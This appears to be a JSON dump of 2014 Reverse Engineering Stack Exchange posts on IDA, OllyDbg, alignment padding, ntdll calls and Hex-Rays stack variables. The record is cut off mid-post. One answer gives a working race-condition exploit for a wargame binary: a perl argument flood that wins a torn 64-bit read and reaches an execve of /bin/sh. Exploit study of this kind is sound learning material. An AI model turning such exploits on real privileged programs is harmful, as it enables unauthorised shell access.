        "Answer": "<p><strong>Alignment.</strong></p>\n\n<p>Note that all of the NOPs end (and the next function begins) at ...C0, ...F0. The compiler and/or linker inserted padding bytes so that the functions begin at 0x10 aligned addresses.</p>\n\n<p>Different compilers / linkers will use different values for these bytes.  I've seen 90 (nop), CC (int3), as well as multi-byte NOPs that exactly fill the space between the functions.</p>\n\n<p>You should check out this great answer on the same question over at <a href=\"https://stackoverflow.com/a/7912617/119527\">Stack Overflow</a>. </p>\n\n<p>In short, this is done for performance reasons, as processors typically fetch instructions in 16- or 32-byte strides, so it makes sense to have functions begin at one of these boundaries.</p>\n"
    },
    {
        "Id": "4101",
        "CreationDate": "2014-04-18T23:36:42.637",
        "Body": "<p>I've been trying for the past week to solve a wargame - where I am given a program and need to find the correct input (usually malformed, malicious, or otherwise) to get it to execute code that I want. I've been struggling with the following problem and wanted to see if anyone here has advice or ideas to try.\nThe code is the following</p>\n\n<pre><code>unsigned long long passcode = 0xbadc0dedecadeull, code = 0, v;\nint finished = 0;\n\nvoid* tryAllCodes(void* ptr) {\n    char** codes = (char**) ptr;\n\n    while(*++codes) {\n        printf(\".\");\n        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx\n        code = (v != passcode)? v : 0;\n    }\n\n    finished = 1;\n}\n\n\nint main(int argc, char** argv) {\n    char *args[] = { \"/bin/sh\", 0};\n    pthread_t t;\n    pthread_create(&amp;t, NULL, tryAllCodes, argv);\n\n    while(!finished)\n        if(code == passcode) { // code is stored in ebx:ecx\n            printf(\"Win!\\n\");\n            execve(*args, args, 0);\n        }\n\n    pthread_join(t, NULL);\n    return 0;\n}\n</code></pre>\n\n<p>I believe there is a race condition here because there is no mutex around the access to the variable code, and I've gotten it to happen by setting breakpoints in the tryAllCodes function with gdb and letting the main thread continue to run. I believe this was because the registers that v and code are stored in when checking their value are the same, so if the context jumps out of tryAllCodes with v set to passcode before it gets zeroized I enter the win block.\nUnfortunately I need to get this same behavior without using a debugger - so my question is does my approach of exploiting a race condition seem correct, or is there something else I'm overlooking? If so, is there a way on linux to cause a thread to yield execution more often? I tried renice on the tryAllCodes thread but it seems to just cause to program to spin in the main loop.</p>\n\n<p>Thanks a bunch</p>\n",
        "Title": "Help with identifying race condition in wargame",
        "Tags": "|exploit|vulnerability-analysis|",
        "Answer": "\n\n<p>Hmm this code will probably not work if optimized because the shared globals are not pointers nor are they marked as volatile. This means that the compiler is free to assume the globals are accessed from one thread only so most likely the</p>\n\n<p><code>while(!passcode)</code></p>\n\n<p>will be optimized to always be true and therefore result in an eternal loop. Really should mark this volatile if they're intended to be shared between threads.</p>\n\n<p>I think you're right about the race condition being what they expect you to exploit here. The key is to realize that the <em>read</em> from <em>code</em> happens in two instructions in the main thread and the <em>write</em> to <em>code</em> happens in two instructions in the spawned thread due to this being a 64 bit variable. So what you want to do is to hit it like this:</p>\n\n<ul>\n<li>The spawned thread writes two 32 bit parts of <em>code</em>. The lower 32 bits are equal to the lower 32 bits of <em>passcode</em> while the upper aren't. </li>\n<li>The main thread then reads the lower 32 bit part of <em>code</em> into a register.</li>\n<li>The spawned thread preempts (simply due to the processor being multicore), writes two 32 bit parts of <em>code</em>. The lower 32 bits are not equal to the lower 32 bits of <em>passcode</em> while the upper are.</li>\n<li>The main thread then reads the upper 32 bit part of <em>code</em> into a register.</li>\n<li>This means that the main thread will have the 64 bit value of <em>passcode</em> in its registers without that value being what's written by the spawned thread.</li>\n</ul>\n\n<p>In order to do this you need a very very long argument list with values such that this condition can happen. Possibly generating a few competing processes for processor time to maximize preemption. </p>\n\n<p>The order of lower and upper bits being correct depend on the specifics of the machine code the threads are running. Which you probably know since I assume you have access to the binary. </p>\n\n<p>The two load and store instructions are also likely to be positioned extremely close to each other so whether the exact sequence of events is likely to occur will be very dependent on the CPU architecture. It's possible that the instructions are seen as independent and scheduled on two different pipelines due to <a href=\"https://en.wikipedia.org/wiki/Superscalar\" rel=\"nofollow\">superscalarity</a>. This of course depends on how the CPU schedules loads and stores..</p>\n\n<p>The issue seems much easier to exploit on a multicore system due to you not having to depend on super accurate preemption. It might also be harder to exploit on a 64 bit OS running a 32 bit process.</p>\n\n<p>All of this doesn't really matter because in the end all you can really do is throw a huge number of arguments at it and pray as far as I can see.</p>\n\n<h1>Spoilers</h1>\n\n<p>As I was kind of curious under what conditions this was reliably exploitable I had to test some stuff. If you're doing the same, here's the fixed source and the exploit. This should allow you to do some local experimentation. Like I expected it seems to be extremely unlikely to hit a context switch at the right moment so on a single core CPU this is a nightmare. On a multicore CPU both threads are spinning in parallel so it's much more likely to hit the right conditions.</p>\n\n<h2>Code</h2>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;pthread.h&gt;\n#include &lt;unistd.h&gt;\n\nvolatile unsigned long long passcode = 0xbadc0dedecadeull;\nvolatile unsigned long long code = 0;\nvolatile unsigned long long v;\nvolatile int finished = 0;\n\nvoid* tryAllCodes(void* ptr) {\n    char** codes = (char**) ptr;\n\n    while(*++codes) {\n        printf(\".\");\n        v = strtoull(*codes, 0, 16); // v is stored in ebx:ecx\n        code = (v != passcode)? v : 0;\n    }\n\n    finished = 1;\n    return 0;\n}\n\nint main(int argc, char** argv) {\n    char *args[] = { \"/bin/sh\", 0};\n    pthread_t t;\n    pthread_create(&amp;t, NULL, tryAllCodes, argv);\n\n    while(!finished)\n        if(code == passcode) { // code is stored in ebx:ecx\n            printf(\"Win!\\n\");\n            execve(*args, args, 0);\n        }\n\n    pthread_join(t, NULL);\n    return 0;\n}\n</code></pre>\n\n<h2>Compile with</h2>\n\n<pre><code>gcc -std=c99 -Wall -Wpedantic -pthread -m32 -O2 -o race race.c\n</code></pre>\n\n<h2>Exploit with</h2>\n\n<pre><code>./race `perl -e \"print 'dedecade badc000000000 'x90870\"`\n</code></pre>\n"
    },
    {
        "Id": "4103",
        "CreationDate": "2014-04-19T09:50:42.553",
        "Body": "<p>I use the free version of IDA and I'm trying to define <code>structs</code>. Unfortunately, I'm using Windows XP as a VM on OSX and am having trouble remapping <kbd>Insert</kbd> to something else.</p>\n\n<p>I'm hoping someone has solved this before. Any hints on fixing this would be mega useful !</p>\n",
        "Title": "osx + IDA + virtualbox, keyboard mapping for \"Insert\"",
        "Tags": "|ida|osx|virtual-machines|",
        "Answer": "<ol>\n<li><p><code>Edit -&gt; Add struct type...</code></p></li>\n<li><p><code>idagui.cfg</code>:</p>\n\n<pre><code>//\n//      Keyboard hotkey definitions\n//      ---------------------------\n//\n\n\"ReloadFile\"            =       0               // Reload the same input file\n[....] \n\"AddStruct\"             =       \"Ins\"           // add struct type\n</code></pre></li>\n</ol>\n"
    },
    {
        "Id": "4106",
        "CreationDate": "2014-04-19T21:38:17.213",
        "Body": "<p>For fun I downloaded an installer from a \"driver downloads\" website.  I do NOT intend on installing it, but I was interested to check it out just to see what it looked like.  I tossed it into Ollydbg (without advancing the pointer) and just browsed the assembly.  </p>\n\n<p>There are multiple different calls/jumps/far jumps to various <code>ntdll.addr</code>. </p>\n\n<p>I know <code>ntdll</code> is a pretty low-level library, but I just don't have enough experience in windows x86 disassembly to know what's '<em>normal</em>'.  This is also ostensibly, a driver installer, so it seems reasonable that there would be calls into <code>ntdll</code>.  Are jumps like that considered normal behavior?  Usually I'm used to seeing calls that expressly name the function... not a specific address in <code>ntdll</code>.  </p>\n\n<h2>Extra detail/context</h2>\n\n<p>The file wasn't packed, but there were a few spots where the full printable ASCII <code>[A-Za-z]</code> appeared in the hex view, which I recall could be a sign that there's base64 encoding/decoding going on somewhere. Maybe shift-ciphers.  </p>\n\n<p>For reference, the precise binary I'm peering into is <a href=\"http://driverscollection.com/?H=GM-M7700&amp;By=Gigabyte\" rel=\"nofollow\">here</a>.  Windows 7 64bits.  (The installer itself appears to be 32bits... Ollydbg loaded it fine, and IDA free too.)</p>\n\n<p>PEBrowse64 also showed me something possibly suspicious under <code>Resources-&gt;STRING-&gt;4085</code>.</p>\n\n<p>In this section there appears to be strings set aside for <kbd>Pageup</kbd>/<kbd>Down</kbd>/<kbd>Backspace</kbd>/<kbd>Esc</kbd>/<kbd>Enter</kbd> keys, which I know could be a sign of a keylogger... but again, I'm new, so I'm unsure.  </p>\n",
        "Title": "Are jump instructions targeting addresses in ntdll a sign of malware?",
        "Tags": "|disassembly|windows|malware|",
        "Answer": "<p>There is a legitimate situation where this can occur, which is called \"import forwarding\".  That is, a DLL (such as kernel32.dll) might export a symbol, for which the implementation is held in another DLL (such as ntdll.dll).  A typical example of that is the heap allocation functions: HeapAlloc and HeapFree.  If you examine kernel32.dll, you will see that they are redirected to ntdll.RtlAllocateHeap and ntdll.RtlFreeHeap.  The reason for this is behavior is probably not particularly interesting (it's to do with maintaining compatibility).</p>\n\n<p>That is not to say that all such cases of direct calls into ntdll.dll are legitimate, but it might explain what you are seeing.</p>\n"
    },
    {
        "Id": "4114",
        "CreationDate": "2014-04-21T14:47:36.340",
        "Body": "<p>I want plugin for OllyDbg - strongOD 0.3.4.639 version. Where I find it for download? Thank for response.</p>\n",
        "Title": "Where I download plugin StrongOD 0.3.4.639?",
        "Tags": "|ollydbg|",
        "Answer": "<p>I don't know about that version but you can find the latest version (0.4.8.892) here</p>\n\n<p><a href=\"https://tuts4you.com/download.php?view.2028\" rel=\"nofollow noreferrer\">https://tuts4you.com/download.php?view.2028</a></p>\n\n<p>For more information about OllyDbg plugin system see <strong><em><a href=\"https://stackoverflow.com/questions/14574155/how-to-setup-plugins-for-ollydbg-2-x-x\">this</a></em></strong> and <strong><em><a href=\"http://www.ollydbg.de/Help/i_Plugins.htm\" rel=\"nofollow noreferrer\">this</a></em></strong></p>\n"
    },
    {
        "Id": "4117",
        "CreationDate": "2014-04-22T01:07:49.937",
        "Body": "<p>IDA PRO's Hex-Ray gives me these variables.</p>\n\n<pre><code>  void *v7; // esp@1\n  const char *v8; // ebx@1\n  PLAYER *v9; // ebp@1\n  int v10; // edi@5\n  PLAYER *v11; // edx@6\n  int v12; // ecx@9\n  int v13; // esi@17\n  int v14; // eax@33\n  const char v15; // al@36\n  const char *v16; // ebx@45\n  PLAYER *v17; // eax@50\n  int v18; // esi@51\n  const CHAR *v19; // ecx@54\n  int v20; // edx@56\n  unsigned int v21; // eax@61\n  signed int v22; // ebx@61\n  ARENA *v23; // eax@63\n  ARENA *v24; // edx@63\n  int v25; // ecx@63\n  int v26; // esi@64\n  signed int v27; // edi@65\n  int v28; // eax@66\n  ARENA *v29; // ecx@66\n  int v30; // esi@69\n  int v31; // edi@71\n  int v32; // esi@71\n  signed int v33; // ecx@74\n  int v34; // eax@75\n  const CHAR *v35; // edi@78\n  signed int v36; // ecx@78\n  signed int v37; // ecx@81\n  const void *v38; // esi@81\n  const CHAR *v39; // edi@81\n  unsigned int v40; // edx@81\n  signed int v41; // ecx@81\n  const char v42; // al@89\n  const char *v43; // ebx@89\n  const char v44; // al@90\n  const char v45; // al@96\n  const char *v46; // ebx@96\n  const char v47; // al@97\n  const char v48; // al@103\n  const char *v49; // ebx@103\n  const char v50; // al@104\n  int v51; // ebx@107\n  const char *v52; // edx@108\n  unsigned int v53; // kr48_4@108\n  unsigned int v54; // kr50_4@108\n  const char *v55; // edi@108\n  unsigned int v56; // kr58_4@110\n  const char *v57; // esi@110\n  const char *v58; // edi@110\n  int v59; // ecx@110\n  bool v60; // zf@110\n  int v61; // edi@121\n  int i; // esi@121\n  const char *v63; // eax@122\n  signed int v64; // esi@126\n  const char *v65; // ebx@134\n  PLAYER *v66; // eax@140\n  int v67; // edx@141\n  int v68; // ecx@141\n  PLAYER *v69; // eax@146\n  int v70; // edx@147\n  int v71; // ecx@147\n  const CHAR v72; // cl@153\n  int v73; // eax@153\n  const CHAR *j; // edx@153\n  char v75; // cl@156\n  const CHAR v76; // cl@157\n  int v77; // eax@157\n  const CHAR *k; // edx@157\n  char v79; // cl@160\n  const CHAR v80; // cl@161\n  int v81; // eax@161\n  const CHAR *l; // edx@161\n  char *v83; // eax@163\n  const CHAR v84; // al@171\n  int v85; // esi@171\n  const CHAR *m; // ecx@171\n  char v87; // al@174\n  const CHAR v88; // al@175\n  int v89; // esi@175\n  const CHAR *n; // ecx@175\n  const CHAR v91; // al@180\n  int v92; // esi@180\n  const CHAR *ii; // ecx@180\n  const char *v94; // ebx@189\n  const char v95; // al@200\n  const char *v96; // ebx@200\n  const char v97; // al@201\n  ARENA *v98; // eax@204\n  unsigned int v99; // kr68_4@208\n  int v100; // edi@208\n  PLAYER **v101; // ebx@209\n  int v102; // ebx@215\n  PLAYER *v103; // ecx@217\n  __int64 v104; // qax@218\n  int v105; // ecx@218\n  __int64 v106; // qax@218\n  int v107; // ST24_4@218\n  __int64 v108; // qax@218\n  PLAYER *v109; // esi@223\n  int v110; // ST24_4@224\n  int v111; // ST1C_4@224\n  int v112; // ST18_4@224\n  char *v113; // eax@224\n  ARENA *v114; // eax@226\n  signed int v115; // ecx@228\n  int v116; // eax@228\n  ENCRYPTION *v117; // ecx@230\n  int v118; // edi@230\n  int v119; // edx@233\n  int v120; // edi@233\n  unsigned __int64 v121; // st7@233\n  DWORD v122; // eax@235\n  int v123; // ecx@235\n  DWORD v124; // eax@237\n  unsigned __int64 v125; // st7@237\n  int v126; // ecx@237\n  int v127; // edx@239\n  DWORD v128; // edi@239\n  time_t v129; // ST20_8@242\n  signed __int64 v130; // qax@242\n  signed int v131; // edi@242\n  __int64 v132; // qax@243\n  __int64 v133; // ST20_8@243\n  signed int v134; // ecx@243\n  __int64 v135; // ST18_8@243\n  int v136; // ecx@247\n  PLAYER *v137; // eax@268\n  int v138; // ecx@269\n  const char v139; // al@276\n  const char *v140; // edi@276\n  const char v141; // al@277\n  const char v142; // al@279\n  __int16 v143; // ax@284\n  PLAYER *v144; // edi@289\n  ARENA *v145; // eax@292\n  int v146; // ecx@292\n  signed int v147; // edx@293\n  PLAYER *v148; // eax@294\n  ARENA *v149; // eax@296\n  int v150; // ecx@296\n  signed int v151; // edx@297\n  PLAYER *v152; // eax@298\n  PLAYER *v153; // eax@308\n  char *v154; // eax@309\n  const char v155; // al@312\n  const char *v156; // edi@312\n  const char v157; // al@313\n  ARENA *v158; // eax@318\n  unsigned int v159; // kr88_4@320\n  const char v160; // al@323\n  const char *v161; // edi@323\n  const char v162; // al@324\n  const char v163; // al@330\n  const char *v164; // edi@330\n  const char v165; // al@331\n  int v166; // eax@336\n  __int16 v167; // ax@342\n  PLAYER *v168; // esi@346\n  int v169; // edx@350\n  const char v170; // al@384\n  const char *v171; // edi@384\n  const char v172; // al@385\n  PLAYER *v173; // esi@392\n  int v174; // edx@397\n  PLAYER *v175; // esi@403\n  int v176; // edi@408\n  int v177; // eax@409\n  int v178; // esi@410\n  int v179; // eax@410\n  ARENA *v180; // ecx@413\n  int v181; // edi@415\n  ARENA **v182; // esi@416\n  PLAYER *v183; // ecx@423\n  int v184; // edi@427\n  PLAYER **v185; // esi@428\n  PLAYER *v186; // ecx@437\n  ARENA *v187; // ecx@443\n  FILE *v188; // eax@449\n  const char *v189; // edi@449\n  int v190; // ebx@451\n  int v191; // eax@451\n  FILE *v192; // eax@454\n  ARENA *v193; // eax@455\n  int v194; // esi@456\n  signed int v195; // edi@457\n  PLAYER *v196; // eax@458\n  const char *v197; // esi@461\n  int v198; // eax@461\n  signed int v199; // edi@463\n  int v200; // edx@471\n  time_t v201; // ST20_8@478\n  signed __int64 v202; // qax@478\n  signed int v203; // esi@478\n  signed int v204; // ecx@481\n  int v205; // edi@481\n  const char *v206; // esi@481\n  bool v207; // zf@481\n  const char *v208; // ebx@485\n  signed int v209; // ebx@490\n  char *v210; // eax@491\n  int v211; // ecx@491\n  int v212; // edi@494\n  signed int v213; // ecx@496\n  signed int v214; // ecx@499\n  const void *v215; // esi@499\n  const CHAR *v216; // edi@499\n  unsigned int v217; // edx@499\n  signed int v218; // ecx@499\n  const CHAR *v219; // edi@502\n  signed int v220; // ecx@502\n  signed int v221; // ecx@505\n  const void *v222; // esi@505\n  const CHAR *v223; // edi@505\n  unsigned int v224; // edx@505\n  signed int v225; // ecx@505\n  int v226; // ebx@516\n  signed int v227; // esi@516\n  ARENA *v228; // edx@520\n  int v229; // eax@520\n  int v230; // esi@520\n  int v231; // edi@520\n  int v232; // edx@520\n  int v233; // ecx@524\n  ARENA *v234; // eax@527\n  int v235; // edx@527\n  int v236; // ecx@527\n  __int16 v237; // ax@527\n  int v238; // eax@527\n  int v239; // ecx@527\n  int v240; // eax@527\n  int v241; // eax@540\n  ARENA *v242; // ecx@543\n  char *v243; // eax@543\n  char *v244; // edx@544\n  char *v245; // ebx@546\n  DWORD v246; // eax@546\n  ARENA *v247; // esi@547\n  char *v248; // esi@550\n  signed int v249; // ebp@554\n  int v250; // eax@557\n  int v251; // eax@562\n  signed int v252; // ecx@570\n  int v253; // edi@570\n  const char *v254; // esi@570\n  bool v255; // zf@570\n  int v256; // eax@575\n  const char *v257; // edx@578\n  ARENA *v258; // ecx@585\n  signed int v259; // ebx@586\n  PLAYER *v260; // ecx@587\n  signed int v261; // esi@587\n  __int64 v262; // qax@590\n  __int64 v263; // qax@591\n  int v264; // edi@602\n  signed int v265; // ecx@604\n  signed int v266; // ecx@607\n  const void *v267; // esi@607\n  const CHAR *v268; // edi@607\n  unsigned int v269; // edx@607\n  signed int v270; // ecx@607\n  const CHAR *v271; // edi@610\n  signed int v272; // ecx@610\n  signed int v273; // ecx@613\n  const void *v274; // esi@613\n  const CHAR *v275; // edi@613\n  unsigned int v276; // edx@613\n  signed int v277; // ecx@613\n  int v278; // edx@617\n  int v279; // ecx@621\n  int v280; // edx@638\n  char *v281; // ebx@638\n  unsigned int v282; // ebx@646\n  PLAYER *v283; // eax@646\n  signed int v284; // ecx@654\n  signed int v285; // ecx@658\n  signed int v286; // ecx@662\n  signed int v287; // ecx@671\n  int v288; // edi@671\n  const char *v289; // esi@671\n  bool v290; // zf@671\n  signed int v291; // ecx@675\n  int v292; // edi@675\n  const char *v293; // esi@675\n  bool v294; // zf@675\n  signed int v295; // ecx@682\n  int v296; // eax@683\n  const char v297; // al@688\n  const char *v298; // edi@688\n  const CHAR *jj; // ecx@688\n  const char v300; // al@691\n  const CHAR v301; // al@692\n  int v302; // edi@692\n  const CHAR *kk; // ecx@692\n  const char v304; // al@696\n  int *v305; // edi@704\n  int *v306; // esi@704\n  char v307; // al@707\n  int v308; // ecx@708\n  int v309; // edi@708\n  int v310; // esi@708\n  const char *v311; // eax@709\n  ARENA *v312; // edi@711\n  ARENA *v313; // ecx@718\n  int v314; // eax@718\n  int v315; // eax@723\n  __int64 v316; // qax@727\n  __int64 v317; // qax@728\n  __int64 v318; // qax@729\n  const char *v319; // ebx@730\n  int v320; // edi@737\n  char *v321; // ST1C_4@737\n  int v322; // esi@737\n  ARENA *v323; // eax@738\n  ARENA *v324; // eax@743\n  DWORD v325; // eax@748\n  int v326; // edx@749\n  PLAYER *v327; // esi@749\n  bool v328; // sf@749\n  ARENA **v329; // edi@750\n  ARENA *v330; // eax@751\n  int v331; // ebx@751\n  signed int v332; // esi@752\n  unsigned int v333; // krD8_4@774\n  ARENA **v334; // esi@775\n  int v335; // ebp@776\n  signed int v336; // edi@777\n  ARENA *v337; // edx@784\n  int v338; // esi@785\n  int v339; // ecx@785\n  const char *v340; // ecx@797\n  const char v341; // al@799\n  const CHAR *ll; // edx@799\n  const char v343; // al@803\n  const char v344; // al@804\n  const char *v345; // ecx@804\n  int v346; // eax@819\n  int v347; // eax@833\n  unsigned int v348; // krE8_4@836\n  int v349; // edi@836\n  PLAYER **v350; // ebp@837\n  char *v351; // [sp+4h] [bp-1608Ch]@668\n  const char *v352; // [sp+8h] [bp-16088h]@668\n  char *v353; // [sp+Ch] [bp-16084h]@52\n  char *v354; // [sp+Ch] [bp-16084h]@351\n  char *v355; // [sp+Ch] [bp-16084h]@598\n  char *v356; // [sp+Ch] [bp-16084h]@644\n  int v357; // [sp+Ch] [bp-16084h]@668\n  const char *v358; // [sp+10h] [bp-16080h]@52\n  const char *v359; // [sp+10h] [bp-16080h]@57\n  const char *v360; // [sp+10h] [bp-16080h]@218\n  const char *v361; // [sp+10h] [bp-16080h]@351\n  int v362; // [sp+10h] [bp-16080h]@525\n  const char *v363; // [sp+10h] [bp-16080h]@598\n  const char *v364; // [sp+10h] [bp-16080h]@644\n  int v365; // [sp+10h] [bp-16080h]@668\n  int v366; // [sp+14h] [bp-1607Ch]@52\n  char v367; // [sp+14h] [bp-1607Ch]@54\n  char v368; // [sp+14h] [bp-1607Ch]@218\n  int v369; // [sp+14h] [bp-1607Ch]@351\n  int v370; // [sp+14h] [bp-1607Ch]@525\n  int v371; // [sp+14h] [bp-1607Ch]@598\n  char *v372; // [sp+14h] [bp-1607Ch]@644\n  int v373; // [sp+14h] [bp-1607Ch]@668\n  time_t v374; // [sp+18h] [bp-16078h]@1\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63\n  int v376; // [sp+30h] [bp-16060h]@69\n  int v377; // [sp+34h] [bp-1605Ch]@61\n  DWORD ExitCode; // [sp+38h] [bp-16058h]@233\n  char v379; // [sp+3Fh] [bp-16051h]@420\n  size_t Size; // [sp+40h] [bp-16050h]@69\n  int v381; // [sp+44h] [bp-1604Ch]@233\n  int v382; // [sp+48h] [bp-16048h]@69\n  int v383; // [sp+4Ch] [bp-16044h]@69\n  char v384; // [sp+50h] [bp-16040h]@527\n  __int16 v385; // [sp+51h] [bp-1603Fh]@527\n  int v386; // [sp+53h] [bp-1603Dh]@527\n  int v387; // [sp+57h] [bp-16039h]@527\n  __int16 v388; // [sp+5Bh] [bp-16035h]@527\n  __int16 v389; // [sp+5Dh] [bp-16033h]@527\n  int v390; // [sp+60h] [bp-16030h]@233\n  const CHAR KeyName; // [sp+64h] [bp-1602Ch]@157\n  const CHAR CommandLine; // [sp+84h] [bp-1600Ch]@52\n  char v393; // [sp+85h] [bp-1600Bh]@773\n  const CHAR Dest; // [sp+184h] [bp-15F0Ch]@69\n  __int16 v395; // [sp+185h] [bp-15F0Bh]@342\n  char v396; // [sp+187h] [bp-15F09h]@342\n  const CHAR Str1; // [sp+284h] [bp-15E0Ch]@153\n  const CHAR AppName; // [sp+2C4h] [bp-15DCCh]@76\n  int buf; // [sp+304h] [bp-15D8Ch]@45\n  char v400; // [sp+309h] [bp-15D87h]@208\n  char v401; // [sp+404h] [bp-15C8Ch]@255\n  char v402; // [sp+405h] [bp-15C8Bh]@255\n  char v403; // [sp+414h] [bp-15C7Ch]@255\n  CHAR StartupInfo[4]; // [sp+504h] [bp-15B8Ch]@163\n  int v405; // [sp+510h] [bp-15B80h]@309\n  char v406; // [sp+604h] [bp-15A8Ch]@741\n  char v407; // [sp+605h] [bp-15A8Bh]@741\n  char v408; // [sp+606h] [bp-15A8Ah]@741\n  __int16 v409; // [sp+607h] [bp-15A89h]@748\n  char v410; // [sp+609h] [bp-15A87h]@765\n  char v411; // [sp+804h] [bp-1588Ch]@638\n  char v412; // [sp+805h] [bp-1588Bh]@638\n  char v413; // [sp+2804h] [bp-1388Ch]@543\n  char Str; // [sp+2805h] [bp-1388Bh]@544\n  char v415; // [sp+2815h] [bp-1387Bh]@546\n  int v416; // [sp+16084h] [bp-Ch]@1\n  int (*v417)(); // [sp+16088h] [bp-8h]@1\n  int v418; // [sp+1608Ch] [bp-4h]@1\n  const char *Buf1b; // [sp+160A0h] [bp+10h]@485\n  const char *Buf1a; // [sp+160A0h] [bp+10h]@489\n</code></pre>\n\n<p>I was told on email by a very skilled reverser how to handle this, I don't know if he wants me to say his/her name so I'll not say anything.<br></p>\n\n<p>But they said start doing repairs to arrays or structures starting at <code>[sp+####h]</code> and do calculations from that.</p>\n\n<p>So the first part to start repairing is the since it begins with <code>[sp+#h]</code></p>\n\n<pre><code>char *v351; // [sp+4h] [bp-1608Ch]@668 \n</code></pre>\n\n<p>Now you go down to</p>\n\n<pre><code>  char *v372; // [sp+14h] [bp-1607Ch]@644\n  int v373; // [sp+14h] [bp-1607Ch]@668\n  time_t v374; // [sp+18h] [bp-16078h]@1\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63\n  int v376; // [sp+30h] [bp-16060h]@69\n</code></pre>\n\n<p>So</p>\n\n<pre><code>  char *v372; // [sp+14h]                                      [0]\n  int v373; // [sp+14h]                     14-14 = 0 goes up  [4]\n  time_t v374; // [sp+18h] [bp-16078h]@1    18-14 = 4 goes up  [16]\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63  28-18 = 16 goes up [8]\n  int v376; // [sp+30h] [bp-16060h]@69      30-28 = 8 goes up  [4]\n  int v377; // [sp+34h] [bp-1605Ch]@61       34-30 = 4 goes up  [ignored]\n</code></pre>\n\n<p>So <code>0</code> would mean char? yet it's a pointer to a char (4 bytes)?, Probably shouldn't touch those<br>\nThe <code>4</code> after would be int which seems right.<br>\nThe <code>16</code> after looks like <code>2 x 8 bytes</code>.<br>\nSince time_t could be 4 bytes or 8 bytes.<br></p>\n\n<p>I checked and time_t is defined as<br></p>\n\n<pre><code>-00016080 var_16080       dd 6 dup(?)             ; offset\n</code></pre>\n\n<p>So it thinks it's 4 bytes x 6 which would be 24 bytes? why does it think that? Yes I get that <code>var_16080</code> when I click on the <code>time_t</code></p>\n\n<p>So this is where I get confused I think it's really 8 bytes and all I have to do is make it <code>time_t v374[2]</code></p>\n\n<p>ARENA *a5[2]; looks right 2 pointers of 4 bytes. = 8 bytes and the int after looks right.</p>\n\n<p>Can someone tell me how what to do in certain hard cases if I have to do it all manually I would do it.. </p>\n\n<p>But if there is a way to automate this I'd also appreciate that if anyone can tell me of a plugin or a script to do that.</p>\n\n<p>Here is how I got it down to is it right?</p>\n\n<pre><code>  int v369; // [sp+14h] [bp-1607Ch]@351\n  int v370; // [sp+14h] [bp-1607Ch]@525\n  int v371; // [sp+14h] [bp-1607Ch]@598\n  char *v372; // [sp+14h] [bp-1607Ch]@644\n  int v373; // [sp+14h] [bp-1607Ch]@668\n  char v374[16]; // [sp+18h] [bp-16078h]@1\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63\n  int v376; // [sp+30h] [bp-16060h]@69\n  int v377; // [sp+34h] [bp-1605Ch]@61\n  char ExitCode[7]; // [sp+38h] [bp-16058h]@233\n  char v379; // [sp+3Fh] [bp-16051h]@420\n  size_t Size; // [sp+40h] [bp-16050h]@69\n  int v381; // [sp+44h] [bp-1604Ch]@233\n  int v382; // [sp+48h] [bp-16048h]@69\n</code></pre>\n\n<p>A bit lower you see this</p>\n\n<pre><code>  __int16 v385; // [sp+51h] [bp-1603Fh]@527                   2\n  int v386; // [sp+53h] [bp-1603Dh]@527               53-51 = 2 up [4]\n  int v387; // [sp+57h] [bp-16039h]@527               57-53 = 4 up [4]\n  __int16 v388; // [sp+5Bh] [bp-16035h]@527           5B-57 = 4 up [2]\n  __int16 v389; // [sp+5Dh] [bp-16033h]@527           5D-5B = 2 up [3] ???\n  int v390; // [sp+60h] [bp-16030h]@233               60-5D = 3 up\n</code></pre>\n\n<p>Why is that one 3 bytes when it's a <code>__int16</code> or is it a <code>char[3]</code> ?</p>\n\n<p>After I translated it to</p>\n\n<pre><code>  int v386; // [sp+53h] [bp-1603Dh]@527\n  int v387; // [sp+57h] [bp-16039h]@527\n  __int16 v388; // [sp+5Bh] [bp-16035h]@527\n  char v389[3]; // [sp+5Dh] [bp-16033h]@527\n  int v390; // [sp+60h] [bp-16030h]@233\n</code></pre>\n\n<p>Now it does something like this in code, so it must of been <code>__int16</code> after all. Maybe it's a <code>__int16</code> followed by a <code>char</code> after, but you can't do that in Hex-Rays afaik.</p>\n\n<pre><code>                *(_WORD *)v389 = v236;\n</code></pre>\n\n<p>Okay it's highly unpredictable and I don't think I can rely on the <code>[so+###h]</code>'s too much just in some cases.</p>\n\n<p>I managed to get it down to this, but it has problems all over the place</p>\n\n<p>Trimmed off the top stuff that didn't change</p>\n\n<pre><code>  char *v351; // [sp+4h] [bp-1608Ch]@668\n  const char *v352; // [sp+8h] [bp-16088h]@668\n  char *v353; // [sp+Ch] [bp-16084h]@52\n  char *v354; // [sp+Ch] [bp-16084h]@351\n  char *v355; // [sp+Ch] [bp-16084h]@598\n  char *v356; // [sp+Ch] [bp-16084h]@644\n  int v357; // [sp+Ch] [bp-16084h]@668\n  const char *v358; // [sp+10h] [bp-16080h]@52\n  char *v359; // [sp+10h] [bp-16080h]@57\n  char *v360; // [sp+10h] [bp-16080h]@218\n  const char *v361; // [sp+10h] [bp-16080h]@351\n  int v362; // [sp+10h] [bp-16080h]@525\n  const char *v363; // [sp+10h] [bp-16080h]@598\n  const char *v364; // [sp+10h] [bp-16080h]@644\n  int v365; // [sp+10h] [bp-16080h]@668\n  int v366; // [sp+14h] [bp-1607Ch]@52\n  char v367; // [sp+14h] [bp-1607Ch]@54\n  char v368; // [sp+14h] [bp-1607Ch]@218\n  int v369; // [sp+14h] [bp-1607Ch]@351\n  int v370; // [sp+14h] [bp-1607Ch]@525\n  int v371; // [sp+14h] [bp-1607Ch]@598\n  char *v372; // [sp+14h] [bp-1607Ch]@644\n  int v373; // [sp+14h] [bp-1607Ch]@668\n  char v374[16]; // [sp+18h] [bp-16078h]@1\n  ARENA *a5[2]; // [sp+28h] [bp-16068h]@63\n  int v376; // [sp+30h] [bp-16060h]@69\n  int v377; // [sp+34h] [bp-1605Ch]@61\n  char ExitCode[7]; // [sp+38h] [bp-16058h]@233\n  char v379; // [sp+3Fh] [bp-16051h]@420\n  size_t Size; // [sp+40h] [bp-16050h]@69\n  int v381; // [sp+44h] [bp-1604Ch]@233\n  int v382; // [sp+48h] [bp-16048h]@69\n  int v383; // [sp+4Ch] [bp-16044h]@69\n  char v384; // [sp+50h] 